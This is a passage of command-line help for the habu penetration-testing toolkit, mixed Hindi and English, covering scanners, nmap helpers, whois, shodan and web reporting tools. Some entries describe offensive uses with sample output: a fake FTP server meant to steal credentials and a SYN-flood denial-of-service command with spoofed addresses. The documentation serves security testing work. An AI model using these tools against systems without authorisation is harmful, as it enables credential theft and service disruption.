--source-ip TEXT उपयोग करने के लिए स्रोत IP
--source-port INTEGER RANGE उपयोग करने के लिए स्रोत पोर्ट
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.net.contest [OPTIONS]
विभिन्न सेवाओं से कनेक्ट करने का प्रयास करें और जाँचें कि क्या आप अपने इंटरनेट कनेक्शन का उपयोग करके उन तक पहुँच सकते हैं।
उदाहरण:
$ habu.net.contest
DNS: True
FTP: True
SSH: True
HTTP: True
HTTPS: True
विकल्प:
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.net.interfaces [OPTIONS]
सिस्टम पर उपलब्ध नेटवर्क इंटरफ़ेस दिखाएँ।
उदाहरण:
# habu.interfaces
# NAME MAC INET INET6
0 eth0 80:fa:5b:4b:f9:18 None None
1 lo 00:00:00:00:00:00 127.0.0.1 ::1
2 wlan0 f4:96:34:e5:ae:1b 192.168.0.6 None
3 vboxnet0 0a:00:27:00:00:00 192.168.56.1 fe80::800:27ff:fe00:0
विकल्प:
-j JSON प्रारूप में आउटपुट
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.nmap.excluded [OPTIONS]
एक यादृच्छिक पोर्ट प्रिंट करता है जो nmap-services फ़ाइल में मौजूद नहीं है, इसलिए nmap द्वारा स्वचालित रूप से स्कैन नहीं किया जाता है।
उन सेवाओं जैसे SSH या RDP के लिए उपयोगी, जिन्हें उनके डिफ़ॉल्ट पोर्ट पर लगातार स्कैन किया जाता है।
उदाहरण:
# habu.nmap.excluded
58567
विकल्प:
-l INTEGER RANGE विचार करने के लिए न्यूनतम पोर्ट
-h INTEGER RANGE विचार करने के लिए अधिकतम पोर्ट
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.nmap.open [OPTIONS] SCANFILE
nmap रिपोर्ट पढ़ें और खुले पोर्ट प्रिंट करें।
उत्पन्न nmap आउटपुट को पढ़कर खुले पाए गए पोर्ट प्रिंट करें।
आप इसका उपयोग अन्य उपकरणों के इनपुट के लिए पोर्ट सूची को शीघ्रता से पुन: उपयोग करने के लिए कर सकते हैं।
सभी 3 आउटपुट प्रारूपों (nmap, gnmap और xml) का समर्थन और पता लगाता है
उदाहरण:
# habu.nmap.open portantier.nmap
22,80,443
विकल्प:
-p [tcp|udp|sctp] प्रोटोकॉल (डिफ़ॉल्ट=tcp)
--help यह संदेश दिखाएं और बाहर निकलें।
habu.nmap.ports ---------------उपयोग: habu.nmap.ports [OPTIONS] SCANFILE
nmap रिपोर्ट पढ़ें और परीक्षित पोर्ट प्रिंट करें।
उत्पन्न nmap आउटपुट पढ़कर परीक्षित पोर्ट प्रिंट करें।
आप इसका उपयोग पोर्ट सूची को अन्य उपकरणों के इनपुट के लिए तेज़ी से पुन: उपयोग करने के लिए कर सकते हैं।
3 आउटपुट प्रारूपों (nmap, gnmap और xml) का समर्थन करता है और उनका पता लगाता है।
उदाहरण:
21,22,23,80,443
विकल्प: -p [tcp|udp|sctp] प्रोटोकॉल (डिफ़ॉल्ट=tcp) --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.protoscan [OPTIONS] IP
Send IP packets with different protocol field content to guess what layer
4 protocols are available.
The output shows which protocols doesn't generate a 'protocol-unreachable'
ICMP response.
Example:
$ sudo python cmd_ipscan.py 45.77.113.133
1 icmp
2 igmp
4 ipencap
6 tcp
17 udp
41 ipv6
47 gre
50 esp
51 ah
58 ipv6_icmp
97 etherip
112 vrrp
115 l2tp
132 sctp
137 mpls_in_ip
विकल्प: -i TEXT उपयोग करने के लिए इंटरफ़ेस -t INTEGER प्रत्येक प्रोब के लिए टाइमआउट (डिफ़ॉल्ट: 2 सेकंड) --all सभी प्रोटोकॉल की जाँच करें (डिफ़ॉल्ट: /etc/protocols में परिभाषित) -v विस्तृत आउटपुट --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.server.ftp [OPTIONS]
Basic fake FTP server, whith the only purpose to steal user credentials.
Supports SSL/TLS.
Example:
# sudo habu.server.ftp --ssl --ssl-cert /tmp/cert.pem --ssl-key /tmp/key.pem
Listening on port 21
Accepted connection from ('192.168.0.27', 56832)
Credentials collected from 192.168.0.27! fabian 123456
विकल्प: -a TEXT बाइंड करने का पता (डिफ़ॉल्ट: सभी) -p INTEGER कौन सा पोर्ट उपयोग करें (डिफ़ॉल्ट: 21) --ssl SSL/TLS सक्षम करें (डिफ़ॉल्ट: False) --ssl-cert TEXT SSL/TLS प्रमाणपत्र फ़ाइल --ssl-key TEXT SSL/TLS कुंजी फ़ाइल -v विस्तृत --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.shodan [OPTIONS] IP
Simple shodan API client.
Prints the JSON result of a shodan query.
Example:
$ habu.shodan 216.58.222.36
asn AS15169
isp Google
hostnames eze04s06-in-f4.1e100.net, gru09s17-in-f36.1e100.net
country_code US
region_code CA
city Mountain View
org Google
open_ports tcp/443, tcp/80
विकल्प: --cache / --no-cache -v विस्तृत आउटपुट --format [txt|csv|json|nmap] आउटपुट प्रारूप --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.shodan.query [OPTIONS] QUERY
Simple shodan API client.
Prints the JSON result of a shodan query.
Example:
$ habu.shodan 8.8.8.8
{
"hostnames": [
"google-public-dns-a.google.com"
],
"country_code": "US",
"org": "Google",
"data": [
{
"isp": "Google",
"transport": "udp",
"data": "Recursion: enabled",
"asn": "AS15169",
"port": 53,
"hostnames": [
"google-public-dns-a.google.com"
]
}
],
"ports": [
53
]
}
विकल्प: -c कैश अक्षम करें -v विस्तृत आउटपुट -o FILENAME आउटपुट फ़ाइल (डिफ़ॉल्ट: stdout) --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.tcp.flags [OPTIONS] IP
Send TCP packets with different flags and tell what responses receives.
It can be used to analyze how the different TCP/IP stack implementations
and configurations responds to packet with various flag combinations.
Example:
# habu.tcp_flags www.portantier.com
S -> SA
FS -> SA
FA -> R
SA -> R
By default, the command sends all possible flag combinations. You can
specify which flags must ever be present (reducing the quantity of
possible combinations), with the option '-f'.
Also, you can specify which flags you want to be present on the response
packets to show, with the option '-r'.
With the next command, you see all the possible combinations that have the
FIN (F) flag set and generates a response that contains the RST (R) flag.
Example:
# habu.tcp_flags -f F -r R www.portantier.com
FPA -> R
FSPA -> R
FAU -> R
विकल्प: -p INTEGER उपयोग करने के लिए पोर्ट (डिफ़ॉल्ट: 80) -f TEXT फ़्लैग जो हमेशा भेजे जाने चाहिए (डिफ़ॉल्ट: सभी फ़्लैग के साथ फ़ज़) -r TEXT प्रतिक्रिया फ़्लैग द्वारा फ़िल्टर करें (डिफ़ॉल्ट: सभी प्रतिक्रियाएँ दिखाएँ) -v विस्तृत --first मिलान करने वाली पहली प्रतिक्रिया पर रुकें --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.tcp.isn [OPTIONS] IP
Create TCP connections and print the TCP initial sequence numbers for each
one.
$ sudo habu.tcp.isn -c 5 www.portantier.com
1962287220
1800895007
589617930
3393793979
469428558
Note: You can get a graphical representation (needs the matplotlib
package) using the '-g' option to better understand the randomness.
विकल्प: -p INTEGER उपयोग करने के लिए पोर्ट (डिफ़ॉल्ट: 80) -c INTEGER कितने पैकेट भेजने/प्राप्त करने हैं (डिफ़ॉल्ट: 5) -i TEXT उपयोग करने के लिए इंटरफ़ेस -g ग्राफ़ (matplotlib आवश्यक है) -v विस्तृत आउटपुट --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.tcp.scan [OPTIONS] IP
TCP Port Scanner.
Print the ports that generated a response with the SYN flag or (if show
use -a) all the ports that generated a response.
It's really basic compared with nmap, but who is comparing?
Example:
# habu.tcp.scan -p 22,23,80,443 -s 1 45.77.113.133
22 S -> SA
80 S -> SA
443 S -> SA
विकल्प: -p TEXT उपयोग करने के लिए पोर्ट (डिफ़ॉल्ट: 80) उदाहरण: 20-23,80,135 -i TEXT उपयोग करने के लिए इंटरफ़ेस -f TEXT उपयोग करने के लिए फ़्लैग (डिफ़ॉल्ट: S) -s TEXT प्रोब के बीच का समय (डिफ़ॉल्ट: सभी एक साथ भेजें) -t INTEGER प्रत्येक प्रोब के लिए टाइमआउट (डिफ़ॉल्ट: 2 सेकंड) -a सभी प्रतिक्रियाएँ दिखाएँ (डिफ़ॉल्ट: केवल SYN फ़्लैग वाली) -v विस्तृत आउटपुट --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.tcp.synflood [OPTIONS] IP
Launch a lot of TCP connections and keeps them opened.
Some very old systems can suffer a Denial of Service with this.
Reference: https://en.wikipedia.org/wiki/SYN_flood
Example:
# sudo habu.tcp.synflood 172.16.0.10
.................
Each dot is a packet sent.
You can use the options '-2' and '-3' to forge the layer 2/3 addresses.
If you use them, each connection will be sent from a random layer2 (MAC)
and/or layer3 (IP) address.
You can choose the number of connections to create with the option '-c'.
The default is never stop creating connections.
Note: If you send the packets from your real IP address and you want to
keep the connections half-open, you need to setup for firewall to don't
send the RST packets.
विकल्प: -i TEXT कौन सा इंटरफ़ेस उपयोग करें (डिफ़ॉल्ट: स्वचालित) -c INTEGER कितने पैकेट भेजें (डिफ़ॉल्ट: अनंत) -p INTEGER उपयोग करने के लिए पोर्ट (डिफ़ॉल्ट: 135) -2 लेयर2/MAC पता जाली करें (डिफ़ॉल्ट: नहीं) -3 लेयर3/IP पता जाली करें (डिफ़ॉल्ट: नहीं) -v विस्तृत --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.traceroute [OPTIONS] IP
TCP traceroute.
Identify the path to a destination getting the ttl-zero-during-transit
messages.
Note: On the internet, you can have various valid paths to a device.
Example:
# habu.traceroute 45.77.113.133
IP / ICMP 192.168.0.1 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror
IP / ICMP 10.242.4.197 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding
IP / ICMP 200.32.127.98 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding
.
IP / ICMP 4.16.180.190 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror
.
IP / TCP 45.77.113.133:http > 192.168.0.5:ftp_data SA / Padding
Note: It's better if you use a port that is open on the remote system.
विकल्प: -p INTEGER उपयोग करने के लिए पोर्ट (डिफ़ॉल्ट: 80) -i TEXT उपयोग करने के लिए इंटरफ़ेस --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.upgrade [OPTIONS]
Upgrade habu (from https://github.com/fportantier/habu)
विकल्प: --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.usercheck [OPTIONS] USERNAME
Check if the given username exists on various social networks and other
popular sites.
$ habu.usercheck portantier
{
"aboutme": "https://about.me/portantier",
"disqus": "https://disqus.com/by/portantier/",
"github": "https://github.com/portantier/",
"ifttt": "https://ifttt.com/p/portantier",
"lastfm": "https://www.last.fm/user/portantier",
"medium": "https://medium.com/@portantier",
"pastebin": "https://pastebin.com/u/portantier",
"pinterest": "https://in.pinterest.com/portantier/",
"twitter": "https://twitter.com/portantier",
"vimeo": "https://vimeo.com/portantier"
}
विकल्प: -c कैश अक्षम करें -v विस्तृत आउटपुट -w प्रत्येक वैध URL को वेब ब्राउज़र में खोलें --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.version [OPTIONS]
विकल्प: --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.vhosts [OPTIONS] HOST
Use Bing to query the websites hosted on the same IP address.
$ habu.vhosts www.telefonica.com
www.telefonica.com -> 212.170.36.79
[
'www.telefonica.es',
'universitas.telefonica.com',
'www.telefonica.com',
]
विकल्प: -c कैश अक्षम करें -p INTEGER पृष्ठों की संख्या (डिफ़ॉल्ट: 10) -f INTEGER प्राप्त करने के लिए पहला परिणाम (डिफ़ॉल्ट: 1) --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.virustotal [OPTIONS] INPUT
Send a file to VirusTotal https://www.virustotal.com/ and print the report
in JSON format.
Note: Before send a file, will check if the file has been analyzed before
(sending the sha256 of the file), if a report exists, no submission will
be made, and you will see the last report.
$ habu.virustotal meterpreter.exe
Verifying if hash already submitted: f4826b219aed3ffdaa23db26cfae611979bf215984fc71a1c12f6397900cb70d
Sending file for analysis
Waiting/retrieving the report...
{
"md5": "0ddb015b5328eb4d0cc2b87c39c49686",
"permalink": "https://www.virustotal.com/file/c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23/analysis/1526850717/",
"positives": 49,
"resource": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23",
"response_code": 1,
"scan_date": "2018-05-20 21:11:57",
"scan_id": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23-1526850717",
"scans": {
"ALYac": {
"detected": true,
"result": "Trojan.CryptZ.Gen",
"update": "20180520",
"version": "1.1.1.5"
},
... The other scanners ...
},
"sha1": "5fa33cab1729480dd023b08f7b91a945c16d0a9e",
"sha256": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23",
"total": 67,
"verbose_msg": "Scan finished, information embedded"
}
विकल्प: -v विस्तृत आउटपुट --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.web.report [OPTIONS] [INPUT_FILE]
Makes a report that includes HTTP headers of websites.
Optionally, uses Firefox or Chromium to take a screenshot of the websites.
The expected format is one url per line.
Creates a directory called 'report' with the content inside.
$ echo https://www.portantier.com | habu.web.report
विकल्प: -v विस्तृत आउटपुट -s प्रत्येक वेबसाइट का स्क्रीनशॉट लें -b [firefox|chromium-browser] स्क्रीनशॉट के लिए ब्राउज़र --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.web.screenshot [OPTIONS] URL
Uses Firefox or Chromium to take a screenshot of the website.
$ habu.web.screenshot https://www.portantier.com
विकल्प: -b [firefox|chromium-browser] स्क्रीनशॉट के लिए ब्राउज़र -o TEXT आउटपुट फ़ाइल (डिफ़ॉल्ट: screenshot.png) --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.whois.domain [OPTIONS] DOMAIN
Simple whois client to check domain names.
Example:
$ habu.whois.domain google.com
registrar MarkMonitor, Inc.
whois_server whois.markmonitor.com
creation_date 1997-09-15 04:00:00
expiration_date 2028-09-14 04:00:00
name_servers ns1.google.com, ns2.google.com, ns3.google.com, ns4.google.com
emails [email protected], [email protected]
dnssec unsigned
org Google LLC
country US
state CA
विकल्प: --json आउटपुट JSON प्रारूप में प्रिंट करें --csv आउटपुट CSV प्रारूप में प्रिंट करें --help यह संदेश दिखाएँ और बाहर निकलें
.. code-block::
Usage: habu.whois.ip [OPTIONS] IP
Simple whois client to check IP addresses (IPv4 and IPv6).
Example:
$ habu.whois.ip 8.8.4.4
asn 15169
asn_registry arin
asn_cidr 8.8.4.0/24
asn_country_code US
asn_description GOOGLE - Google LLC, US
asn_date 1992-12-01
विकल्प: --json आउटपुट JSON प्रारूप में प्रिंट करें --csv आउटपुट CSV प्रारूप में प्रिंट करें --help यह संदेश दिखाएँ और बाहर निकलें
crypto.fernet <#habucryptofernet>_crypto.fernet.genkey <#habucryptofernetgenkey>_crypto.gppref <#habucryptogppref>_crypto.hasher <#habucryptohasher>_crypto.xor <#habucryptoxor>_data.enrich <#habudataenrich>_data.extract.domain <#habudataextractdomain>_data.extract.email <#habudataextractemail>_data.extract.fqdn <#habudataextractfqdn>_data.extract.ipv4 <#habudataextractipv4>_data.filter <#habudatafilter>_data.select <#habudataselect>_dhcp.discover <#habudhcpdiscover>_dhcp.starvation <#habudhcpstarvation>_dns.lookup.forward <#habudnslookupforward>_dns.lookup.reverse <#habudnslookupreverse>_eicar <#habueicar>_forkbomb <#habuforkbomb>_fqdn.finder <#habufqdnfinder>_gateway.find <#habugatewayfind>_host <#habuhost>_http.headers <#habuhttpheaders>_http.options <#habuhttpoptions>_http.tech <#habuhttptech>_icmp.ping <#habuicmpping>_ip.asn <#habuipasn>_ip.geolocation <#habuipgeolocation>_ip.internal <#habuipinternal>_ip.public <#habuippublic>_karma <#habukarma>_karma.bulk <#habukarmabulk>_land <#habuland>_nc <#habunc>_net.contest <#habunetcontest>_net.interfaces <#habunetinterfaces>_nmap.excluded <#habunmapexcluded>_nmap.open <#habunmapopen>_nmap.ports <#habunmapports>_protoscan <#habuprotoscan>_server.ftp <#habuserverftp>_shodan <#habushodan>_shodan.query <#habushodanquery>_tcp.flags <#habutcpflags>_tcp.isn <#habutcpisn>_tcp.scan <#habutcpscan>_tcp.synflood <#habutcpsynflood>_traceroute <#habutraceroute>_upgrade <#habuupgrade>_usercheck <#habuusercheck>_version <#habuversion>_vhosts <#habuvhosts>_virustotal <#habuvirustotal>_web.report <#habuwebreport>_web.screenshot <#habuwebscreenshot>_whois.domain <#habuwhoisdomain>_whois.ip <#habuwhoisip>_